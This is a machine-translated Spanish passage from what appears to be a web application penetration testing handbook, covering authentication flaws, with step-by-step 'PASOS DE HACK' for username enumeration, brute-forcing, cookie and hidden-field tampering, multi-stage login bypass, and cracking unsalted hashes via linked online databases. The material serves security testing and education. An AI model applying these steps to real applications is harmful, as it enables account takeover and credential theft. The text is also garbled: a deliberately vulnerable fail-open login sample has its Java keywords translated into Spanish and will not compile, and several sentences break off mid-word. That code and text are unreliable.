n Algunas aplicaciones colocan inmediatamente al usuario en una sesión autenticada

después de completar con éxito un desafío, lo que nuevamente permite que un atacante
use la cuenta indefinidamente sin detección y sin necesidad de conocer la contraseña
del usuario. n Algunas aplicaciones emplean el mecanismo de enviar una URL de
recuperación única, pero la envían a una dirección de correo electrónico especificada por el
usuario en el momento en que se completa el desafío. Esto no proporciona absolutamente
ninguna seguridad mejorada para el proceso de recuperación más allá de posiblemente
registrar la dirección de correo electrónico utilizada por un atacante.
SUGERENCIA Incluso si la aplicación no proporciona un campo en pantalla para que

proporcione una dirección de correo electrónico para recibir la URL de recuperación, la
aplicación puede transmitir la dirección a través de un campo de formulario oculto o una
cookie. Esto presenta una doble oportunidad: puede descubrir la dirección de correo
electrónico del usuario que ha comprometido y puede modificar su valor para recibir la URL de recuperación en la
n Algunas aplicaciones permiten a los usuarios restablecer el valor de su contraseña

directamente después de completar con éxito un desafío y no envían ninguna
notificación por correo electrónico al usuario. Esto significa que el compromiso
de una cuenta por parte de un atacante no se notará hasta que el propietario
intente iniciar sesión nuevamente. Incluso puede pasar desapercibido si el
propietario asume que debe haber olvidado su contraseña y, por lo tanto, la
restablece de la misma manera. Un atacante que simplemente desea acceder a
la aplicación puede comprometer la cuenta de un usuario diferente por un
período de tiempo y , por lo tanto, puede continuar usando la aplicación indefinidamente.
PASOS DE HACK
1. Identifique cualquier funcionalidad de contraseña olvidada dentro de la aplicación. Si

esto no está vinculado explícitamente desde el contenido publicado, aún puede
implementarse (consulte el Capítulo 4).
2. Comprenda cómo funciona la función de contraseña olvidada haciendo un

recorrido completo usando una cuenta que usted controla.
3. Si el mecanismo utiliza un desafío, determine si los usuarios pueden establecer o

seleccionar su propio desafío y respuesta. Si es así, use una lista de nombres de usuario
enumerados o comunes para recopilar una lista de desafíos, y revise esto para buscar
cualquiera que parezca fácil de adivinar.
4. Si el mecanismo utiliza una "pista" de contraseña, haga el mismo ejercicio para recopilar
una lista de pistas de contraseña y apunte a cualquiera que sea fácil de adivinar.
5. Trate de identificar cualquier comportamiento en el mecanismo de contraseña olvidada

que pueda explotarse como base para la enumeración de nombres de usuario o
ataques de fuerza bruta (consulte los detalles anteriores).
6. Si la aplicación genera un correo electrónico que contiene una URL de recuperación en

respuesta a una solicitud de contraseña olvidada, obtenga una cantidad de estas URL e
intente identificar cualquier patrón que pueda permitirle predecir las URL emitidas a
otros usuarios. Emplee las mismas técnicas que son relevantes para analizar los tokens
de sesión para determinar la previsibilidad (consulte el Capítulo 7).
¡INTENTALO!
Funcionalidad "Recuérdame"
Las aplicaciones a menudo implementan funciones de "recuérdame" para comodidad de los
usuarios. De esta manera, los usuarios no necesitan volver a ingresar su nombre de usuario y
contraseña cada vez que usan la aplicación desde una computadora específica. Estas
funciones a menudo son inseguras por diseño y dejan al usuario expuesto a ataques tanto
locales como de usuarios en otras computadoras:
n Algunas funciones de "recuérdame" se implementan mediante una cookie persistente

simple, como RememberUser=daf (consulte la Figura 6-6). Cuando esta cookie se envía
a la página inicial de la aplicación, la aplicación confía en la cookie para autenticar al
usuario y crea una sesión de aplicación para esa persona, omitiendo el inicio de sesión.
Un atacante puede usar una lista de nombres de usuario comunes o enumerados para
obtener acceso completo a la aplicación sin ninguna autenticación.
Figura 6-6: Una función vulnerable de "recuérdame", que inicia sesión automáticamente en un usuario
basándose únicamente en un nombre de usuario almacenado en una cookie
n Algunas funciones de "recuérdame" establecen una cookie que no contiene el nombre de

usuario sino una especie de identificador de sesión persistente, como RememberUser=1328.
Cuando el identifi cador se envía a la página de inicio de sesión, la aplicación
busca al usuario asociado y crea una sesión de aplicación para ese usuario. Al
igual que con los tokens de sesión ordinarios, si los identificadores de sesión de
otros usuarios se pueden predecir o extrapolar, un atacante puede iterar a través
de una gran cantidad de identificadores potenciales para encontrar aquellos
asociados con los usuarios de la aplicación y, por lo tanto, obtener acceso a sus
cuentas sin autenticación. Consulte el Capítulo 7 para conocer las técnicas para
realizar este ataque.
n Incluso si la información almacenada para volver a identificar a los usuarios está

adecuadamente protegida (encriptada) para evitar que otros usuarios la determinen o
adivinen, la información aún puede ser vulnerable a la captura a través de un error, como
secuencias de comandos entre sitios (consulte el Capítulo 12), o por un atacante que tiene
acceso local a la computadora del usuario.
PASOS DE HACK
1. Active cualquier función "recordarme" y determine si el

de hecho, la funcionalidad “recuerda” completamente al usuario o si solo recuerda su
nombre de usuario y aún requiere que ingrese una contraseña en visitas posteriores. Si este
último es el caso, es mucho menos probable que la funcionalidad exponga cualquier falla de
seguridad.
2. Inspeccione de cerca todas las cookies persistentes que se establecen, y también cualquier dato que
se conserva en otros mecanismos de almacenamiento local, como los datos de usuario de
Internet Explorer, el almacenamiento aislado de Silverlight o los objetos compartidos locales
de Flash. Busque cualquier dato guardado que identifique al usuario explícitamente o que
parezca contener algún identificador predecible del usuario.
3. Incluso cuando los datos almacenados parezcan estar fuertemente codificados u ofuscados,
revíselos detenidamente. Compare los resultados de "recordar" varios nombres de usuario
y/o contraseñas muy similares para identificar cualquier oportunidad de aplicar ingeniería
inversa a los datos originales. Aquí, use las mismas técnicas que se describen en el
Capítulo 7 para detectar el significado y los patrones en los tokens de sesión.
4. Intente modificar el contenido de la cookie persistente para intentar convencer a la

aplicación de que otro usuario ha guardado sus datos en su computadora.
¡INTENTALO!
Funcionalidad de suplantación de identidad del usuario
Algunas aplicaciones implementan la facilidad para que un usuario privilegiado de la aplicación se haga
pasar por otros usuarios para acceder a los datos y realizar acciones dentro de su contexto de usuario.
Por ejemplo, algunas aplicaciones bancarias permiten a los operadores de la mesa de ayuda autenticar
verbalmente a un usuario de teléfono y luego cambiar su sesión de aplicación al contexto de ese usuario
para ayudarlo.
Comúnmente existen varias fallas de diseño dentro de la funcionalidad de suplantación de identidad:
n Puede implementarse como una función "oculta", que no está sujeta a controles de acceso
adecuados. Por ejemplo, cualquiera que conozca o adivine la URL /admin/ImpersonateUser.jsp
puede hacer uso de la función y hacerse pasar por cualquier otro usuario (consulte el Capítulo 8).
n La aplicación puede confiar en los datos controlables por el usuario al determinar si el usuario
está realizando una suplantación. Por ejemplo, además de un token de sesión válido, un usuario
puede enviar una cookie que especifique qué cuenta está utilizando actualmente su sesión. Un
atacante puede modificar este valor y obtener acceso a otras cuentas de usuario sin autenticación,
como se muestra en la Figura 6-7.
n Si una aplicación permite la suplantación de usuarios administrativos, cualquier debilidad en la

lógica de suplantación puede resultar en una vulnerabilidad de escalada vertical de privilegios. En
lugar de simplemente obtener acceso a los datos de otros usuarios comunes, un atacante puede
obtener el control total de la aplicación.
n Algunas funciones de suplantación de identidad se implementan como una simple contraseña de

"puerta trasera" que se puede enviar a la página de inicio de sesión estándar junto con cualquier
nombre de usuario para autenticarse como ese usuario. Este diseño es muy inseguro por muchas
razones, pero la mayor oportunidad para los atacantes es que es probable que descubran esta
contraseña al realizar ataques estándar, como la fuerza bruta del inicio de sesión. Si la contraseña
de puerta trasera coincide con la contraseña real del usuario, es probable que el atacante
descubra la función de
la contraseña de la puerta trasera y, por lo tanto, obtener acceso a la cuenta de cada usuario.
De manera similar, un ataque de fuerza bruta podría resultar en dos "accesos" diferentes,
revelando así la contraseña de la puerta trasera, como se muestra en la Figura 6-8.
Figura 6-7: Una función de suplantación de usuario vulnerable
PASOS DE HACK
1. Identifique cualquier funcionalidad de suplantación dentro de la aplicación. Si esto no

está vinculado explícitamente desde el contenido publicado, aún puede implementarse
(consulte el Capítulo 4).
2. Intente usar la funcionalidad de suplantación directamente para suplantar

otros usuarios.
3. Intentar manipular cualquier dato proporcionado por el usuario que sea procesado por
la función de suplantación en un intento de hacerse pasar por otros usuarios. Preste
especial atención a cualquier caso en el que su nombre de usuario se envíe de forma
diferente al inicio de sesión normal.
4. Si logra hacer uso de la funcionalidad, intente hacerse pasar por cualquier usuario
administrativo conocido o supuesto para elevar los privilegios.
5. Al llevar a cabo ataques de adivinación de contraseñas (consulte la sección “Brute-Forcible

Iniciar sesión”), revise si algún usuario parece tener más de una contraseña válida, o
si una contraseña específica se ha comparado con varios nombres de usuario. Además,
inicie sesión con tantos usuarios diferentes con las credenciales capturadas en un
ataque de fuerza bruta y revise si todo parece normal. Preste mucha atención a cualquier
mensaje de estado "iniciado sesión como X".
¡INTENTALO!
Figura 6-8: Un ataque de adivinación de contraseñas con dos "aciertos", lo que indica la
presencia de una contraseña de puerta trasera
Validación incompleta de credenciales

Los mecanismos de autenticación bien diseñados imponen varios requisitos a las contraseñas, como
una longitud mínima o la presencia de caracteres en mayúsculas y minúsculas. En consecuencia,
algunos mecanismos de autenticación mal diseñados no solo no aplican estas buenas prácticas, sino
que tampoco tienen en cuenta los propios intentos de los usuarios por cumplirlas.
Por ejemplo, algunas aplicaciones truncan las contraseñas y, por lo tanto, validan solo los primeros
n caracteres. Algunas aplicaciones realizan una verificación de contraseñas que no distingue entre
mayúsculas y minúsculas . Algunas aplicaciones eliminan los caracteres inusuales (a veces con el
pretexto de realizar una validación de entrada) antes de verificar las contraseñas. En los últimos
tiempos, se han identificado comportamientos de este tipo en algunas aplicaciones web de perfil
sorprendentemente alto, generalmente como resultado de prueba y error por parte de usuarios curiosos.
Cada una de estas limitaciones en la validación de contraseñas reduce en un orden

de magnitud el número de variaciones disponibles en el conjunto de contraseñas posibles.
A través de la experimentación, puede determinar si una contraseña se valida por completo o si existen
limitaciones. Luego, puede ajustar sus ataques automatizados contra el inicio de sesión para eliminar casos
de prueba innecesarios, lo que reduce enormemente la cantidad de solicitudes necesarias para comprometer
cuentas de usuario.
PASOS DE HACK
1. Con una cuenta que controle, intente iniciar sesión con variaciones en su propia
contraseña: eliminando el último carácter, cambiando el caso de un carácter y
eliminando cualquier carácter tipográfico especial. Si alguno de estos intentos tiene
éxito, continúe experimentando para tratar de comprender qué validación está
ocurriendo realmente.
2. Introduzca cualquier resultado en sus ataques automatizados de adivinación de

contraseñas para eliminar casos de prueba superfluos y mejorar las posibilidades de éxito.
¡INTENTALO!
Nombres de usuario no únicos

Algunas aplicaciones que admiten el autorregistro permiten a los usuarios especificar su
propio nombre de usuario y no imponen el requisito de que los nombres de usuario sean únicos.
Aunque esto es raro, los autores han encontrado más de una aplicación con este comportamiento.
Esto representa una falla de diseño por dos razones:
n Un usuario que comparte un nombre de usuario con otro usuario también puede seleccionar la misma
contraseña que ese usuario, ya sea durante el registro o en un cambio de contraseña posterior. En
esta eventualidad, la aplicación rechaza la contraseña elegida por el segundo usuario o permite
que dos cuentas tengan credenciales idénticas. En primera instancia, el comportamiento de la
aplicación revela efectivamente a un usuario las credenciales del otro usuario. En la segunda
instancia, los inicios de sesión posteriores de uno de los usuarios dan como resultado el acceso a
la cuenta del otro usuario.
n Un atacante puede explotar este comportamiento para llevar a cabo un ataque de fuerza bruta
con éxito , aunque esto no sea posible en otros lugares debido a las restricciones en los
intentos fallidos de inicio de sesión. Un atacante puede registrar un nombre de usuario específi co
varias veces con diferentes contraseñas mientras se monitorea la

respuesta diferencial que indica que ya existe una cuenta con ese nombre
de usuario y contraseña. El atacante habrá determinado la contraseña de
un usuario objetivo sin hacer un solo intento de iniciar sesión como ese usuario.
La funcionalidad de autorregistro mal diseñada también puede proporcionar un medio para la
enumeración de nombres de usuario. Si una aplicación no permite nombres de usuario duplicados,
un atacante puede intentar registrar una gran cantidad de nombres de usuario comunes para
identificar los nombres de usuario existentes que se rechazan.
PASOS DE HACK
1. Si es posible el autorregistro, intente registrar el mismo nombre de usuario dos veces

con diferentes contraseñas.
2. Si la aplicación bloquea el segundo intento de registro, puede aprovechar este comportamiento

para enumerar los nombres de usuario existentes, incluso si esto no es posible en la página
de inicio de sesión principal o en otro lugar. Realice múltiples intentos de registro con una
lista de nombres de usuario comunes para identificar los nombres ya registrados que bloquea
la aplicación.
3. Si el registro de nombres de usuario duplicados tiene éxito, intente registrar el mismo

nombre de usuario dos veces con la misma contraseña y determine el comportamiento
de la aplicación:
una. Si aparece un mensaje de error, puede aprovechar este comportamiento para llevar a
cabo un ataque de fuerza bruta, incluso si esto no es posible en la página principal de inicio de sesión.
Apunte a un nombre de usuario enumerado o adivinado e intente registrar este nombre
de usuario varias veces con una lista de contraseñas comunes. Cuando la aplicación
rechaza una contraseña específica, probablemente haya encontrado la contraseña
existente para la cuenta de destino.
b. Si no aparece ningún mensaje de error, inicie sesión con las credenciales que especificó.
fied, y ver lo que sucede. Es posible que deba registrar varios usuarios y modificar
diferentes datos contenidos en cada cuenta para comprender si este comportamiento
se puede utilizar para obtener acceso no autorizado a las cuentas de otros usuarios.
Nombres de usuario predecibles
Algunas aplicaciones generan automáticamente nombres de usuario de cuentas de acuerdo con

una secuencia predecible (cust5331, cust5332, etc.). Cuando una aplicación se comporta así, un
atacante que pueda discernir la secuencia puede llegar rápidamente a una lista potencialmente
exhaustiva de todos los nombres de usuario válidos, que puede usarse como base para futuros
ataques. A diferencia de los métodos de enumeración que se basan en realizar solicitudes repetidas
impulsadas por listas de palabras, este medio para determinar los nombres de usuario se puede
llevar a cabo de manera no intrusiva con una interacción mínima con la aplicación.
PASOS DE HACK
1. Si la aplicación genera nombres de usuario, intente obtener varios en rápida sucesión

y determine si se puede discernir alguna secuencia o patrón.
2. Si puede, extrapole hacia atrás para obtener una lista de posibles usuarios válidos.
nombres Esto se puede utilizar como base para un ataque de fuerza bruta contra el
inicio de sesión y otros ataques en los que se requieren nombres de usuario válidos,
como la explotación de fallas de control de acceso (consulte el Capítulo 8).
¡INTENTALO!
Contraseñas iniciales predecibles

En algunas aplicaciones, los usuarios se crean todos a la vez o en lotes considerables
y se les asignan automáticamente contraseñas iniciales, que luego se les distribuyen a
través de algún medio. Los medios para generar contraseñas pueden permitir a un
atacante predecir las contraseñas de otros usuarios de la aplicación. Este tipo de
vulnerabilidad es más común en aplicaciones corporativas basadas en intranet, por
ejemplo, donde cada empleado tiene una cuenta creada en su nombre y recibe una
notificación impresa de su contraseña.
En los casos más vulnerables, todos los usuarios reciben la misma contraseña, o
una derivada de su nombre de usuario o función laboral. En otros casos, las contraseñas
generadas pueden contener secuencias que podrían identificarse o adivinarse con
acceso a una muestra muy pequeña de contraseñas iniciales.
PASOS DE HACK
1. Si la aplicación genera contraseñas, intente obtener varias en rápida sucesión y

determine si se puede discernir alguna secuencia o patrón.
2. Si puede, extrapole el patrón para obtener una lista de contraseñas para otros
usuarios de la aplicación.
3. Si las contraseñas muestran un patrón que se puede correlacionar con el usuario

nombres, puede intentar iniciar sesión utilizando nombres de usuario conocidos o
adivinados y las correspondientes contraseñas inferidas.
4. De lo contrario, puede usar la lista de contraseñas inferidas como base para un ataque
de fuerza bruta con una lista de nombres de usuario enumerados o comunes.
¡INTENTALO!
Distribución insegura de credenciales

Muchas aplicaciones emplean un proceso en el que las credenciales de las cuentas recién
creadas se distribuyen a los usuarios fuera de banda de su interacción normal con la aplicación
(por ejemplo, por correo postal, correo electrónico o mensaje de texto SMS). A veces, esto se
hace por razones motivadas por preocupaciones de seguridad, como para garantizar que la
dirección postal o de correo electrónico proporcionada por el usuario realmente pertenece a esa persona.
En algunos casos, este proceso puede presentar un riesgo de seguridad. Por ejemplo,
suponga que el mensaje distribuido contiene tanto el nombre de usuario como la contraseña, no
hay límite de tiempo para su uso y no hay ningún requisito para que el usuario cambie la
contraseña en el primer inicio de sesión. Es muy probable que un gran número, incluso la
mayoría, de los usuarios de la aplicación no modifique sus credenciales iniciales y que los
mensajes de distribución permanezcan durante un período prolongado, durante el cual una parte
no autorizada puede acceder a ellos.
A veces, lo que se distribuye no son las credenciales en sí, sino una URL de "activación de
cuenta", que permite a los usuarios establecer su propia contraseña inicial. Si la serie de estas
URL enviadas a usuarios sucesivos manifiesta algún tipo de secuencia, un atacante puede
identificarlo registrando varios usuarios en una sucesión cercana y luego inferir las URL de
activación enviadas a usuarios recientes y futuros.
Un comportamiento relacionado de algunas aplicaciones web es permitir que los nuevos
usuarios registren cuentas de una manera aparentemente segura y luego enviar un correo
electrónico de bienvenida a cada nuevo usuario con sus credenciales de inicio de sesión
completas. En el peor de los casos, un usuario consciente de la seguridad que decide cambiar
de inmediato su contraseña posiblemente comprometida, recibe otro correo electrónico que
contiene la nueva contraseña "para referencia futura". Este comportamiento es tan extraño e
innecesario que se recomienda a los usuarios que dejen de usar las aplicaciones web que lo permiten.
PASOS DE HACK
1. Obtenga una nueva cuenta. Si no es necesario que configure todas las credenciales
durante el registro, determine los medios por los cuales la aplicación distribuye
las credenciales a los nuevos usuarios.
2. Si se usa una URL de activación de cuenta, intente registrar varias cuentas nuevas
en una sucesión cercana e identifique cualquier secuencia en las URL que reciba.
Si se puede determinar un patrón, intente predecir las URL de activación
enviadas a los usuarios recientes y próximos, e intente usar estas URL para
hacerse cargo de sus cuentas.
3. Intente reutilizar una única URL de activación varias veces y compruebe si la
aplicación lo permite. De lo contrario, intente bloquear la cuenta de destino antes
de reutilizar la URL y vea si ahora funciona.
Fallos de implementación en la autenticación

Incluso un mecanismo de autenticación bien diseñado puede ser muy inseguro debido a los
errores cometidos en su implementación. Estos errores pueden conducir a la fuga de información,
la omisión completa del inicio de sesión o un debilitamiento de la seguridad general del
mecanismo tal como fue diseñado. Las fallas de implementación tienden a ser más sutiles y
más difíciles de detectar que los defectos de diseño, como contraseñas de mala calidad y fuerza
bruta . Por esta razón, a menudo son un objetivo fructífero para los ataques contra las
aplicaciones más críticas para la seguridad, donde es probable que numerosos modelos de
amenazas y pruebas de penetración hayan reclamado alguna fruta al alcance de la mano. Los
autores han identificado cada una de las fallas de implementación descritas aquí dentro de las
aplicaciones web implementadas por los grandes bancos.
Mecanismos de inicio de sesión de falla abierta
La lógica de falla abierta es una especie de falla lógica (descrita en detalle en el Capítulo 11)
que tiene consecuencias particularmente serias en el contexto de los mecanismos de autenticación.
El siguiente es un ejemplo bastante artificial de un mecanismo de inicio de sesión que falla al
abrirse. Si la llamada a db.getUser() arroja una excepción por algún motivo (por ejemplo, una
excepción de puntero nulo que surge porque la solicitud del usuario no contenía un parámetro
de nombre de usuario o contraseña), el inicio de sesión se realiza correctamente. Aunque la
sesión resultante puede no estar vinculada a una identidad de usuario en particular y, por lo
tanto , puede no ser completamente funcional, esto aún puede permitir que un atacante acceda
a algunos datos o funciones confidenciales.
checkLogin de respuesta pública (sesión de sesión) {

tratar {
String uname = session.getParameter(“nombre de usuario”); Cadena passwd =
session.getParameter(“contraseña”);
Usuario usuario = db.getUser(uname, passwd); si (usuario ==
nulo) {
// credenciales no válidas
session.setMessage(“Inicio de sesión fallido. “); volver
doLogin(sesión);
}
}
captura (Excepción e) {}
// usuario valido
session.setMessage(“Inicio de sesión exitoso. “); return
doMainMenu(sesión);
}
En el campo, no esperaría que un código como este pasara incluso la revisión de seguridad
más superficial. Sin embargo, es mucho más probable que exista la misma falla conceptual en
mecanismos más complejos en los que se utilizan numerosas invocaciones de métodos en capas.
se realizan, en los que pueden surgir muchos errores potenciales y ser manejados en
diferentes lugares, y donde la lógica de validación más complicada puede implicar mantener
un estado significativo sobre el progreso del inicio de sesión.
PASOS DE HACK
1. Realice un inicio de sesión completo y válido con una cuenta que usted
controle. Registre todos los datos enviados a la aplicación y todas las
respuestas recibidas utilizando su proxy de intercepción.
2. Repita el proceso de inicio de sesión varias veces, modificando partes de los
datos enviados de formas inesperadas. Por ejemplo, para cada parámetro de
solicitud o cookie enviada por el cliente, haga lo siguiente:
una. Envíe una cadena vacía como valor.
b. Elimine el par nombre/valor por completo. C.
Envíe valores muy largos y muy cortos. d.
Envíe cadenas en lugar de números y viceversa. mi. Envíe
el mismo elemento varias veces, con las mismas y diferentes
valores.
3. Para cada solicitud malformada presentada, revise detenidamente la respuesta

de la solicitud para identificar cualquier divergencia con el caso base.
4. Realimente estas observaciones para enmarcar sus casos de prueba. Cuando uno
modificación provoca un cambio en el comportamiento, intente combinar esto
con otros cambios para llevar la lógica de la aplicación a sus límites.
¡INTENTALO!
Defectos en los mecanismos de inicio de sesión de varias etapas
Algunas aplicaciones utilizan elaborados mecanismos de inicio de sesión que involucran varias etapas,
como las siguientes:
n Entrada de un nombre de usuario y contraseña
n Un desafío para dígitos específi cos de un PIN o una palabra memorable n El envío
de un valor que se muestra en un token físico cambiante
Los mecanismos de inicio de sesión de varias etapas están diseñados para brindar una mayor
seguridad en comparación con el modelo simple basado en el nombre de usuario y la contraseña. Por
lo general, la primera etapa requiere que los usuarios se identifiquen con un nombre de usuario o
elemento similar, y las etapas posteriores realizan varias comprobaciones de autenticación. Tales mecanismos
Con frecuencia contienen vulnerabilidades de seguridad, en particular, varias fallas lógicas

MITO COMÚN
A menudo se supone que los mecanismos de inicio de sesión de varias etapas son
menos propensos a eludir la seguridad que la autenticación estándar de nombre de
usuario/contraseña. Esta creencia es errónea. Realizar varias comprobaciones de
autenticación puede agregar una seguridad considerable al mecanismo. Pero como
contrapeso a esto, el proceso es más propenso a fallas en la implementación. En varios
casos en los que se presenta una combinación de fallas, incluso puede resultar en una
solución que es menos segura que un inicio de sesión normal basado en nombre de usuario y contraseña.
Algunas implementaciones de mecanismos de inicio de sesión de varias etapas hacen

suposiciones potencialmente inseguras en cada etapa sobre la interacción del usuario con etapas anteriores:
n Una aplicación puede suponer que un usuario que accede a la etapa tres debe haber
superado las etapas uno y dos. Por lo tanto, puede autenticar a un atacante que pasa
directamente de la etapa uno a la etapa tres y la completa correctamente , lo que le
permite iniciar sesión con solo una parte de las diversas credenciales que normalmente
se requieren. n Una aplicación puede confiar en algunos de los datos que se procesan
en la etapa dos porque se validaron en la etapa uno. Sin embargo, un atacante puede
manipular estos datos en la etapa dos, dándole un valor diferente al que se validó en la
etapa uno. Por ejemplo, en la etapa uno, la aplicación puede determinar si la cuenta del
usuario ha vencido, está bloqueada o está en el grupo administrativo, o si necesita
completar más etapas del inicio de sesión más allá de la etapa dos. Si un atacante puede
interferir con estos indicadores a medida que el inicio de sesión cambia entre diferentes
etapas, puede modificar el comportamiento de la aplicación y hacer que lo autentique
solo con credenciales parciales o que eleve los privilegios.
n Una aplicación puede suponer que se utiliza la misma identidad de usuario para completar
cada etapa; sin embargo, es posible que no marque esto explícitamente. Por ejemplo, la
etapa uno podría implicar el envío de un nombre de usuario y una contraseña válidos, y
la etapa dos podría implicar volver a enviar el nombre de usuario (ahora en un campo de
formulario oculto) y un valor de un token físico cambiante. Si un atacante envía pares de
datos válidos en cada etapa, pero para diferentes usuarios, la aplicación podría autenticar
al usuario como cualquiera de las identidades utilizadas en las dos etapas.
Esto permitiría que un atacante que posea su propio token físico y descubra la
contraseña de otro usuario pueda iniciar sesión como ese usuario (o viceversa).
Aunque el mecanismo de inicio de sesión no se puede comprometer por completo sin
ninguna información previa, su postura de seguridad general se debilita sustancialmente
y el gasto y el esfuerzo sustanciales de implementar el mecanismo de dos factores no
brindan los beneficios esperados.
PASOS DE HACK
1. Realice un inicio de sesión completo y válido con una cuenta que usted controle.
Registre todos los datos enviados a la aplicación utilizando su proxy de intercepción.
2. Identifique cada etapa distinta del inicio de sesión y los datos que se recopilan en
cada etapa. Determine si una sola pieza de información se recopila más de una vez o
si alguna vez se transmite al cliente y se vuelve a enviar a través de un campo de
formulario oculto, una cookie o un parámetro de URL preestablecido (consulte el Capítulo 5).
3. Repita el proceso de inicio de sesión varias veces con varios errores

peticiones:
una. Intente realizar los pasos de inicio de sesión en una secuencia
diferente. b. Intente proceder directamente a cualquier etapa dada y continuar desde
allí. C. Intente saltarse cada etapa y continuar con la siguiente. d. Usa tu imaginación
para pensar en otras formas de acceder a las diferentes etapas que los desarrolladores
no hayan previsto.
4. Si se envía algún dato más de una vez, intente enviar un valor diferente en diferentes
etapas y vea si el inicio de sesión sigue siendo exitoso. Es posible que algunos de
los envíos sean superfluos y que la aplicación no los procese. Puede ser que los
datos se validen en una etapa y luego se confíe en ellos posteriormente. En este caso,
intente proporcionar las credenciales de un usuario en una etapa y luego cambie en la
siguiente para autenticarse realmente como un usuario diferente. Puede ser que la
misma pieza de datos se valide en más de una etapa, pero contra diferentes
comprobaciones. En este caso, intente proporcionar (por ejemplo) el nombre de
usuario y la contraseña de un usuario en la primera etapa y el nombre de usuario y el
PIN de un usuario diferente en la segunda etapa.
5. Preste mucha atención a cualquier dato que se transmita a través del cliente que fue
no introducido directamente por el usuario. La aplicación puede usar estos datos para
almacenar información sobre el estado del progreso de inicio de sesión, y la aplicación
puede confiar en ellos cuando se envía de vuelta al servidor. Por ejemplo, si la solicitud
de la etapa tres incluye el parámetro stage2complete=true, es posible avanzar
directamente a la etapa tres configurando este valor. Intente modificar los valores que
se envían y determine si esto le permite avanzar o saltar etapas.
¡INTENTALO!
Algunos mecanismos de inicio de sesión emplean una pregunta que varía aleatoriamente en
una de las etapas del proceso de inicio de sesión. Por ejemplo, después de enviar un nombre de
usuario y una contraseña, se les puede hacer a los usuarios una de varias preguntas
"secretas" (sobre el apellido de soltera de su madre , lugar de nacimiento, nombre de la primera
escuela) o enviar dos letras aleatorias de una frase secreta. La razón de este comportamiento es
que incluso si un atacante captura todo lo que ingresa un usuario en una sola ocasión, esto no le
permitirá iniciar sesión como ese usuario en una ocasión diferente, porque se le harán preguntas diferentes.
En algunas implementaciones, esta funcionalidad no funciona y no logra sus objetivos: n La
aplicación puede presentar una pregunta elegida al azar y almacenar los detalles dentro de un
campo de formulario HTML oculto o una cookie, en lugar del servidor. Posteriormente, el
usuario envía tanto la respuesta como la pregunta en sí. Esto permite que un atacante
elija qué pregunta responder, lo que le permite repetir un inicio de sesión después de
capturar la entrada de un usuario en una sola ocasión.
n La aplicación puede presentar una pregunta elegida al azar en cada intento de inicio de
sesión, pero no recordar qué pregunta se le hizo a un usuario determinado si no pudo
enviar una respuesta. Si el mismo usuario inicia un nuevo intento de inicio de sesión un
momento después, se genera una pregunta aleatoria diferente. Esto le permite a un
atacante recorrer las preguntas hasta que recibe una de la que sabe la respuesta, lo que
le permite repetir un inicio de sesión después de haber capturado la entrada de un usuario
en una sola ocasión.
NOTA La segunda de estas condiciones es bastante sutil y, como resultado,

muchas aplicaciones del mundo real son vulnerables. Una aplicación que
desafía a un usuario por dos letras aleatorias de una palabra memorable puede
parecer a primera vista que funciona correctamente y brinda mayor seguridad.
Sin embargo, si las letras se eligen aleatoriamente cada vez que se pasa la
etapa de autenticación anterior, un atacante que haya capturado el inicio de
sesión de un usuario en una sola ocasión puede simplemente volver a
autenticarse hasta este punto hasta que se soliciten las dos letras que conoce, sin riesgo de bloqueo
PASOS DE HACK
1. Si una de las etapas de inicio de sesión usa una pregunta que varía
aleatoriamente, verifique si los detalles de la pregunta se envían junto con la respuesta.
Si es así, cambie la pregunta, envíe la respuesta correcta asociada con
esa pregunta y verifique si el inicio de sesión sigue siendo exitoso.
2. Si la aplicación no permite que un atacante envíe un mensaje arbitrario
pregunta y respuesta, realice un inicio de sesión parcial varias veces
con una sola cuenta, procediendo cada vez hasta la pregunta variable.
Si la pregunta cambia en cada ocasión, un atacante todavía puede elegir
qué pregunta responder.
¡INTENTALO!
NOTA En algunas aplicaciones donde un componente del inicio de sesión varía

aleatoriamente, la aplicación recopila todas las credenciales de un usuario en una sola etapa.
Por ejemplo, la página de inicio de sesión principal puede presentar un formulario
que contiene campos para el nombre de usuario, la contraseña y una de varias
preguntas secretas. Cada vez que se carga la página de inicio de sesión, la pregunta
secreta cambia. En esta situación, la aleatoriedad de la pregunta secreta no evita
que un atacante reproduzca una solicitud de inicio de sesión válida después de
haber capturado la entrada de un usuario en una ocasión. El proceso de inicio de
sesión no se puede modificar para hacerlo en su forma actual, porque un atacante
puede simplemente volver a cargar la página hasta que reciba la pregunta variable
para la que sabe la respuesta. En una variación de este escenario, la aplicación puede
configurar una cookie persistente para "garantizar" que se presente la misma pregunta
variable a cualquier usuario hasta que esa persona la responda correctamente. Por
supuesto, esta medida se puede eludir fácilmente modificando o eliminando la cookie.
Almacenamiento inseguro de credenciales
Si una aplicación almacena las credenciales de inicio de sesión de forma insegura, la

seguridad del mecanismo de inicio de sesión se ve socavada, aunque no exista una falla
inherente en el proceso de autenticación en sí.
Es común encontrar aplicaciones web en las que las credenciales de usuario se
almacenan de forma no segura dentro de la base de datos. Esto puede implicar que las
contraseñas se almacenen en texto claro. Pero si las contraseñas se codifican utilizando
un algoritmo estándar como MD5 o SHA-1, esto aún permite que un atacante simplemente
busque hashes observados en una base de datos precalculada de valores de hash. Debido
a que la cuenta de la base de datos utilizada por la aplicación debe tener acceso completo
de lectura/escritura a esas credenciales, muchos otros tipos de vulnerabilidades dentro de
la aplicación pueden explotarse para permitirle acceder a estas credenciales, como fallas
de comando o inyección SQL (consulte el Capítulo 9). ) y debilidades en el control de
acceso (ver Capítulo 8).
SUGERENCIA Algunas bases de datos en línea de funciones hash comunes están disponibles aquí:
http://passcracking.com/index.php
http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/ script-hash-md5.php
PASOS DE HACK
1. Revise toda la funcionalidad relacionada con la autenticación de la aplicación, así como

cualquier función relacionada con el mantenimiento del usuario. Si encuentra instancias
en las que la contraseña de un usuario se transmite de vuelta al cliente, esto indica que
las contraseñas se almacenan de manera insegura, ya sea en texto no cifrado o mediante
cifrado reversible.
2. Si algún tipo de comando arbitrario o vulnerabilidad de ejecución de consulta es

identificado dentro de la aplicación, intente encontrar la ubicación dentro de la base de
datos o sistema de archivos de la aplicación donde se almacenan las credenciales de
usuario: a. Consulta estos para determinar si las contraseñas se almacenan sin cifrar.
b. Si las contraseñas se almacenan en forma de hash, verifique si hay un valor no único

ues, lo que indica que una cuenta tiene asignada una contraseña común o
predeterminada, y que los hash no se saltean.
C. Si la contraseña se codifica con un algoritmo estándar en formato sin sal, consulte

las bases de datos de hash en línea para determinar el valor de contraseña de texto
claro correspondiente.
